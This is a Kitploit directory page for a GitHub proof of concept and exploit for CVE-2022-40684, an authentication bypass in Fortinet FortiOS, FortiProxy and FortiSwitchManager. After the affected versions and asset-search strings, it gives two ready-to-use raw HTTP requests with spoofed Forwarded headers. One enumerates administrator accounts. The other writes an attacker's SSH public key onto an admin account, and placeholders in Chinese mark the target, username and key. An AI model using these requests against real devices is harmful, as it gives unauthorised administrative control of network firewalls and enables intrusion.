Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-40684 — PoC and exploit for CVE-2022-40684, an authentication bypass in Fortinet FortiOS, FortiProxy, and FortiSwitchManager management interfaces, enabling unauthorized admin access via crafted HTTP requests. | Kitploit
Tools/GitHubGitHub/hughink/cve-2022-40684
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubhughink/cve-2022-40684

CVE-2022-40684

PoC and exploit for CVE-2022-40684, an authentication bypass in Fortinet FortiOS, FortiProxy, and FortiSwitchManager management interfaces, enabling unauthorized admin access via crafted HTTP requests.

View Repository
113243 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-40684

Compliance with Laws and Regulations:

Any individual or organization using the network shall abide by the Constitution and laws, observe public order, respect social morality, and shall not endanger network security, nor use the network to engage in activities that harm national security, honor, and interests.

Vulnerability Overview:

Fortinet is a globally renowned provider of network security products and solutions, including firewalls, antivirus software, intrusion prevention systems, and endpoint security components. In the management interface of affected FortiOS, FortiProxy, and FortiSwitchManager products, authentication can be bypassed using an alternate path or channel, and unauthorized operations can be performed on the management interface via specially crafted HTTP or HTTPS requests.

Risk Level:

High

Affected Versions:

FortiOS versions 7.2.0 - 7.2.1

FortiOS versions 7.0.0 - 7.0.6

FortiProxy version 7.2.0

FortiProxy versions 7.0.0 - 7.0.6

FortiSwitchManager version 7.2.0

FortiSwitchManager versions 7.0.0

Asset Identification:

title="FortiProxy"

title="FortiGate"

Vulnerability Reproduction:

poc

image

root@kitploit:~
GET /api/v2/cmdb/system/admin HTTP/1.1
Host: 目标
User-Agent: Node.js
Accept-Encoding: gzip, deflate
Accept: */*
Hosts: 127.0.0.1:9980
Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=
X-Forwarded-Vdom: root

EXP

image

root@kitploit:~
PUT /api/v2/cmdb/system/admin/用户名 HTTP/2
Host: 目标
User-Agent: Report Runner
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
Content-Length: 589
Content-Type: application/json

{"ssh-public-key1": "\"公钥内容\""}

image

image

Download Tool